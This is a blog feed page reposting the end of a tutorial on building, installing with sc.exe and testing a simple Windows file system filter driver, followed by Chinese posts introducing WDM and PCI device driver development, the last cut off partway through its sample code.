<div style="WIDTH: 100%" id=premain15 class=small-text><img style="CURSOR: pointer" id=preimg15 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="15"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse15 preid="15"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="15"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre15 lang=C++><span class=code-SummaryComment>///</span><span class=code-comment>///////////////////////////////////////////////////////////////////////
</span><span class=code-comment>//</span><span class=code-comment> Misc
</span>
<span class=code-SDKkeyword>BOOLEAN</span> FsFilterIsMyDeviceObject(
__in PDEVICE_OBJECT DeviceObject
)
{
<span class=code-keyword>return</span> DeviceObject-<span class=code-keyword>&gt;</span>DriverObject == g_fsFilterDriverObject;
}</pre>
<h3><a id=_Toc244423418 name=_Toc244423418>Sources and makefile</a></h3>
<p>Sources and makefile files are used by the build utility to build the driver. It contains project settings and source file names.</p>
<p>Sources file contents:</p>
<div style="WIDTH: 100%" id=premain16 class=small-text><img style="CURSOR: pointer" id=preimg16 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="16"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse16 preid="16"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="16"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre16 lang=C++>TARGETNAME  = FsFilter
TARGETPATH  = obj
TARGETTYPE  = DRIVER
DRIVERTYPE  = FS
SOURCES     = \
Main.c \
IrpDispatch.c \
AttachDetach.c \
Notification.c \
FastIo.c</pre>
<p>The makefile is standard:</p>
<div style="WIDTH: 100%" id=premain17 class=small-text><img style="CURSOR: pointer" id=preimg17 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="17"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse17 preid="17"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="17"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre17 lang=text>!include $(NTMAKEENV)\makefile.def</pre>
<p>The MSVC makefile project build command line is:</p>
<div style="WIDTH: 100%" id=premain18 class=small-text><img style="CURSOR: pointer" id=preimg18 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="18"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse18 preid="18"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="18"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre18 lang=text>call $(WINDDK)\bin\setenv.bat $(WINDDK) chk wxp
cd /d $(ProjectDir)
build.exe &#8211;I</pre>
<h2><a id=_Toc244423419 name=_Toc244423419>How to install a driver</a></h2>
<h3><a id=_Toc244423420 name=_Toc244423420>SC.EXE overview</a></h3>
<p>We will use <em>sc.exe</em> (sc &#8211; service control) to manage our driver. It is a command-line utility that can be used to query or modify the database of installed services. It is shipped with Windows XP and higher, or you can find it in the Windows SDK/DDK.</p>
<h3><a id=_Toc244423421 name=_Toc244423421>Install</a></h3>
<p>To install the driver, call:</p>
<div style="WIDTH: 100%" id=premain19 class=small-text><img style="CURSOR: pointer" id=preimg19 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="19"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse19 preid="19"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="19"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre19 lang=text>sc create FsFilter type= filesys binPath= c:\FSFilter.sys</pre>
<p>A new service entry will be created with the name <em>FsFilter</em>; the service type will be file system, and the binary path, <em>c:\FsFilter.sys</em>.</p>
<h3><a id=_Toc244423422 name=_Toc244423422>Start</a></h3>
<p>To start the driver, call:</p>
<div style="WIDTH: 100%" id=premain20 class=small-text><img style="CURSOR: pointer" id=preimg20 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="20"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse20 preid="20"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="20"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre20 lang=text>sc start FsFilter</pre>
<p>This starts a service named <em>FsFilter</em>.</p>
<h3><a id=_Toc244423423 name=_Toc244423423>Stop</a></h3>
<p>To stop the driver, call:</p>
<div style="WIDTH: 100%" id=premain21 class=small-text><img style="CURSOR: pointer" id=preimg21 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="21"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse21 preid="21"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="21"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre21 lang=text>sc stop FsFilter</pre>
<p>This stop the service named <em>FsFilter</em>.</p>
<h3><a id=_Toc244423424 name=_Toc244423424>Uninstall</a></h3>
<p>And to uninstall, call:</p>
<div style="WIDTH: 100%" id=premain22 class=small-text><img style="CURSOR: pointer" id=preimg22 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="22"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse22 preid="22"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="22"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre22 lang=text>sc delete FsFilter</pre>
<p>This instructs the service manager to delete the service entry with the name <em>FsFilter</em>.</p>
<h3><a id=_Toc244423425 name=_Toc244423425>Resulting script</a></h3>
<p>All those commands are put into a single batch file to make driver testing easier. Here is the listing of the <em>Install.cmd</em> command file:</p>
<div style="WIDTH: 100%" id=premain23 class=small-text><img style="CURSOR: pointer" id=preimg23 src="http://www.codeproject.com/images/minus.gif" width=9 height=9 preid="23"><span style="MARGIN-BOTTOM: 0px; CURSOR: pointer" id=precollapse23 preid="23"> Collapse</span><img style="MARGIN-LEFT: 35px" src="http://www.codeproject.com/images/copy_16.png" width=16 height=16><a href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial.aspx#" preid="23"> Copy Code</a></div>
<pre style="MARGIN-TOP: 0px" id=pre23 lang=text>sc create FsFilter type= filesys binPath= c:\FsFilter.sys
sc start FsFilter
pause
sc stop FsFilter
sc delete FsFilter
pause</pre>
<h2><a id=_Toc244423426 name=_Toc244423426>Running a sample</a></h2>
<p>This is the most interesting part. To demonstrate the file system filter work, we will use <a href="http://download.sysinternals.com/Files/DebugView.zip">Sysinternals DebugView for Windows</a> to monitor the debug output, and <a href="http://www.osronline.com/article.cfm?article=97">OSR Device Tree</a> to see the devices and drivers.</p>
<p>So, build the driver. Then, copy the build output file <em>FsFilter.sys</em> and the install the script <em>Install.cmd</em> to the root of the disk <em>C</em>.</p>
<p><img alt=02-diskC.PNG src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/02-diskC.PNG" width=518 height=331 complete="true"></p>
<div class=Caption>Figure 2 - The driver and the install script on the disk.</div>
<p>Run <em>Install.cmd</em>. It will install and start the driver and then wait for user input.</p>
<p><img alt=03-install.PNG src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/03-install.PNG" width=600 height=297 complete="true"></p>
<div class=Caption>Figure 3 - The driver is successfully installed and started.</div>
<p>Now start the DebugView utility.</p>
<p><img alt=04-debugView.PNG src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/04-debugView.PNG" width=600 height=327 complete="true"></p>
<div class=Caption>Figure 4 - Monitoring the debug output.</div>
<p>We can see what files are being opened! Our filter works. Now, run the device tree utility and locate our driver there.</p>
<p><a title="Click to enlarge" href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/05-deviceTree01.PNG"><img border=0 src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/05-deviceTree01_small.PNG" width=600 height=313 complete="true"></a></p>
<div class=Caption>Figure 5 - Our filter driver in the device tree.</div>
<p>We can see numerous devices created by our driver. Now let&#8217;s open the NTFS driver and look at the device tree:</p>
<p><a title="Click to enlarge" href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/06-deviceTree02.PNG"><img border=0 src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/06-deviceTree02_small.PNG" width=600 height=313 complete="true"></a></p>
<div class=Caption>Figure 6 - Our filter is attached to NTFS.</div>
<p>We are attached. Let&#8217;s take a look at the other file systems.</p>
<p><a title="Click to enlarge" href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/07-deviceTree03.PNG"><img border=0 src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/07-deviceTree03_small.PNG" width=600 height=313 complete="true"></a></p>
<div class=Caption>Figure 7 - Our filter is attached to the other file systems too.</div>
<p>And finally, press any key to move our install script forward. It will stop and uninstall the driver.</p>
<p><img alt=08-uninstall.PNG src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/08-uninstall.PNG" width=600 height=297 complete="true"></p>
<div class=Caption>Figure 8 - The driver is stopped and uninstalled.</div>
<p>Refresh the device tree list by pressing F5:</p>
<p><a title="Click to enlarge" href="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/09-deviceTree04.PNG"><img border=0 src="http://www.codeproject.com/KB/system/fs-filter-driver-tutorial/09-deviceTree04_small.PNG" width=600 height=313 complete="true"></a></p>
<div class=Caption>Figure 9 - Our filter device isnot in the device tree.</div>
<p>Our filter is gone. The system is running as before.</p>
<h2><a id=_Toc244423427 name=_Toc244423427>Improvements</a></h2>
<p>The sample driver lacks a commonly required functionality of attaching to the newly arrived volumes. It is done so to make the driver as easy to understand as possible. You can write a <code>IRP_MJ_FILE_SYSTEM_CONTROL</code> handler of your own to track the newly arrived volumes.</p>
<h2><a id=_Toc244423428 name=_Toc244423428>Conclusion</a></h2>
<p>This tutorial showed how to create a simple file system filter driver, and how to install, start, stop, and uninstall it from a command line. Also, some file system filter driver aspects were discussed. We saw the file system device stack with the attached filters, and learned how to monitor the debug output from the driver. You may use the provided sources as a skeleton for your own file system filter driver or modify its behavior.</p>
<h2><a id=_Toc244423429 name=_Toc244423429>Useful references</a></h2>
<ol>
    <li><a href="http://msdn.microsoft.com/en-us/library/ms793575.aspx">File System Filter Drivers</a>
    <li><a href="http://www.osronline.com/section.cfm?section=20">Content for File System or File System Filter Developers</a>
    <li><a href="http://www.amazon.com/Windows-System-Internals-Classic-Reprints/dp/0976717514">Windows NT File System Internals (OSR Classic Reprints) (Paperback)</a>
    <li>sfilter DDK sample </li>
</ol>
<p>Read more Driver Development tips at the <a href="http://www.apriorit.com/case-studies.html">Apriorit Case Studies section</a>.</p>
<!-- Main Page Contents End -->
<img src ="http://www.cppblog.com/iniwf/aggbug/111361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-02 09:23 <a href="http://www.cppblog.com/iniwf/archive/2010/04/02/111361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WDM驱动程序入门</title><link>http://www.cppblog.com/iniwf/archive/2010/03/24/110471.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Wed, 24 Mar 2010 10:29:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/03/24/110471.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/110471.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/03/24/110471.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/110471.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/110471.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.luocong.com/articles/show_article.asp?Article_ID=11WDM驱动程序入门（1）——HelloWDMWDM驱动程序是一种很新的东西，相信很多人都跟我一样，对它很感兴趣，但是又找不到学习的切入点。究其原因，还是因为WDM是一种非常&#8220;死板板&#8221;的程序，它一运行就是工作在系统的底层RING&nbsp;0处，...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2010/03/24/110471.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/110471.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-03-24 18:29 <a href="http://www.cppblog.com/iniwf/archive/2010/03/24/110471.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PCI设备驱动开发</title><link>http://www.cppblog.com/iniwf/archive/2010/03/24/110470.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Wed, 24 Mar 2010 10:26:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/03/24/110470.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/110470.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/03/24/110470.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/110470.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/110470.html</trackback:ping><description><![CDATA[转自<a href="http://hi.baidu.com/techofchaos/blog/item/efee77eb272e88dbd439c922.html">http://hi.baidu.com/techofchaos/blog/item/efee77eb272e88dbd439c922.html</a><br>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #000000">1</span><span style="COLOR: #000000">.&nbsp;PCI&nbsp;简介<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">PCI&nbsp;总线标准是一种将系统外部设备连接起来的总线标准，是&nbsp;PC&nbsp;中最重要的总线，实际上是系统的各个部分如何交互的接口。传输速率可达到&nbsp;133MB</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">s。在当前的&nbsp;PC&nbsp;体系结构中，几乎所有的外部设备采用的各种各样的接口总线，均是通过桥接电路挂接到&nbsp;PCI&nbsp;系统上。在这种&nbsp;PCI&nbsp;系统中，&nbsp;Host</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">PCI&nbsp;桥称为北桥，连接主处理器总线到基础&nbsp;PCI&nbsp;局部总线。&nbsp;PCI&nbsp;与其他总线的接口称为南桥，其中南桥还通常含有中断控制器、IDE&nbsp;控制器、USB&nbsp;控制器和&nbsp;DMA&nbsp;控制器等。南桥和北桥组成主板的芯片组。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">.&nbsp;PCI配置空间<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">每个PCI设备都有自己的配置空间，用于支持即插即用，使之满足现行的系统配置结构。下面对PCI配置空间做一下简要介绍。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">配&nbsp;置空间是一容量为256字节并具有特定结构的地址空间。这个空间又分为头标区和设备有关区两部分。头标区的长度是64字节，每个设备都必须配置该区的寄存&nbsp;器。该区中的各个字段用来唯一地识别设备。其余的192字节因设备而异。配置空间的头标区64个字节的使用情况如图1示。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">为了实现即插即用，系统可根据硬件资源的使用情况，为PCI设备分配新的资源。因此编写设备驱动程序重点是获得基址寄存器（Base&nbsp;Address）和中断干线寄存器的内容。配置空间共有六个基址寄存器和一个中断干线寄存器，具体用法如下：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">PCI&nbsp;Base&nbsp;Address&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;寄存器：系统利用此寄存器为PCI接口芯片的配置寄存器分配一段PCI地址空间，通过这段地址我们可以以内存映射的形式访问PCI接口芯片的配置寄存器。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">PCI&nbsp;Base&nbsp;Address&nbsp;1寄存器：系统利用此寄存器为&nbsp;PCI&nbsp;接口芯片的配置寄存器分配一段PCI地址空间，通过这段地址我们可以以I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O的形式访问PCI接口芯片的配置寄存器。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">PCI&nbsp;Base&nbsp;Address&nbsp;</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">、</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">、</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">、5寄存器：系统BIOS利用这些寄存器分配PCI地址空间以支持PCI接口芯片的局部配置寄存器0、</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">、</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">、3的访问。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">在所有基址寄存器中，第0位均为只读位，表示这段地址映射到存储器空间还是I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O空间，如果是&#8220;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&#8221;表示映射到I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O空间，如果是&#8220;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&#8221;则表示映射到存储器空间。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">中断干线寄存器（Interrupt&nbsp;Line）：用于说明中断线的连接情况，这个寄存器的值与标准8259的IRQ编号（</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000">）对应。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">表1&nbsp;PCI配置空间<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">.设备初始化<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">PCI&nbsp;设备驱动程序要完成识别&nbsp;PCI&nbsp;器件、寻找&nbsp;PCI&nbsp;硬件的资源和对&nbsp;PCI&nbsp;器件中断的服务。在驱动程序初始化过程中，使用&nbsp;HalGetBusData（）函数完&nbsp;成寻找&nbsp;PCI&nbsp;设备的工作。在初始化过程中，使用器件识别号（Device&nbsp;ID）和厂商识别号（Vendor&nbsp;ID），通过遍历总线上的所有设备，寻找到指定的PCI设备，并获取设备的总线号，器件号与功能号。通过这些配置信息，可以在系统中寻址该设备的资源配置&nbsp;列表。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">在此之后，驱动程序需要从配置空间获取硬件的参数。PCI设备的中断号、端口地址的范围（I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O）方式、存储器的地址与映射&nbsp;方式等，都可以从硬件资源列表数据结构中获取。在Windows&nbsp;NT中，调用HalAssignSlotResources（）函数来获得指定设备的资源列表数据结构指针，然后通过遍历该列表中的所有资源描述符，获取&nbsp;该设备的I</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">O端口基地址与长度，中断的中断级、中断向量与模式，存储器基地址与长度等硬件资源数据。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">我们设计的DMA通信采用总线主控方式进行通信，在&nbsp;设备初始化时需要对DMA适配器进行初始化，使用HalGetAdapter（）获得操作系统分配的适配器对象指针。<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">示例代码如下：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;遍历总线，获得指定设备的总线号，器件号与功能号</span><span style="COLOR: #008000"><br><img id=Codehighlighter1_1630_2391_Open_Image onclick="this.style.display='none'; Codehighlighter1_1630_2391_Open_Text.style.display='none'; Codehighlighter1_1630_2391_Closed_Image.style.display='inline'; Codehighlighter1_1630_2391_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1630_2391_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1630_2391_Closed_Text.style.display='none'; Codehighlighter1_1630_2391_Open_Image.style.display='inline'; Codehighlighter1_1630_2391_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(&nbsp;busNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;busNumber&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;MAX_PCI_BUSES;&nbsp;busNumber</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">&nbsp;)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1630_2391_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_1630_2391_Open_Text><span style="COLOR: #000000">{<br><img id=Codehighlighter1_1703_2388_Open_Image onclick="this.style.display='none'; Codehighlighter1_1703_2388_Open_Text.style.display='none'; Codehighlighter1_1703_2388_Closed_Image.style.display='inline'; Codehighlighter1_1703_2388_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1703_2388_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1703_2388_Closed_Text.style.display='none'; Codehighlighter1_1703_2388_Open_Image.style.display='inline'; Codehighlighter1_1703_2388_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif"></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(&nbsp;deviceNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;deviceNumber&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;PCI_MAX_DEVICES;deviceNumber</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">&nbsp;)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1703_2388_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_1703_2388_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">slotNumber.u.bits.DeviceNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;deviceNumber;<br><img id=Codehighlighter1_1832_2385_Open_Image onclick="this.style.display='none'; Codehighlighter1_1832_2385_Open_Text.style.display='none'; Codehighlighter1_1832_2385_Closed_Image.style.display='inline'; Codehighlighter1_1832_2385_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1832_2385_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1832_2385_Closed_Text.style.display='none'; Codehighlighter1_1832_2385_Open_Image.style.display='inline'; Codehighlighter1_1832_2385_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif"></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;(&nbsp;functionNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;&nbsp;functionNumber&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;PCI_MAX_FUNCTION;&nbsp;functionNumber</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">&nbsp;)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1832_2385_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_1832_2385_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">slotNumber.u.bits.FunctionNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;functionNumber;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">HalGetBusData(PCIConfiguration,&nbsp;busNumber,&nbsp;slotNumber.u.AsULONG,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img id=Codehighlighter1_1987_2028_Open_Image onclick="this.style.display='none'; Codehighlighter1_1987_2028_Open_Text.style.display='none'; Codehighlighter1_1987_2028_Closed_Image.style.display='inline'; Codehighlighter1_1987_2028_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1987_2028_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1987_2028_Closed_Text.style.display='none'; Codehighlighter1_1987_2028_Open_Image.style.display='inline'; Codehighlighter1_1987_2028_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif"></span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">pciData,</span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #000000">(ULONG))&nbsp;)&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1987_2028_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_1987_2028_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">deviceNumber&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;PCI_MAX_DEVICES;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img id=Codehighlighter1_2078_2091_Open_Image onclick="this.style.display='none'; Codehighlighter1_2078_2091_Open_Text.style.display='none'; Codehighlighter1_2078_2091_Closed_Image.style.display='inline'; Codehighlighter1_2078_2091_Closed_Text.style.display='inline';" align=top 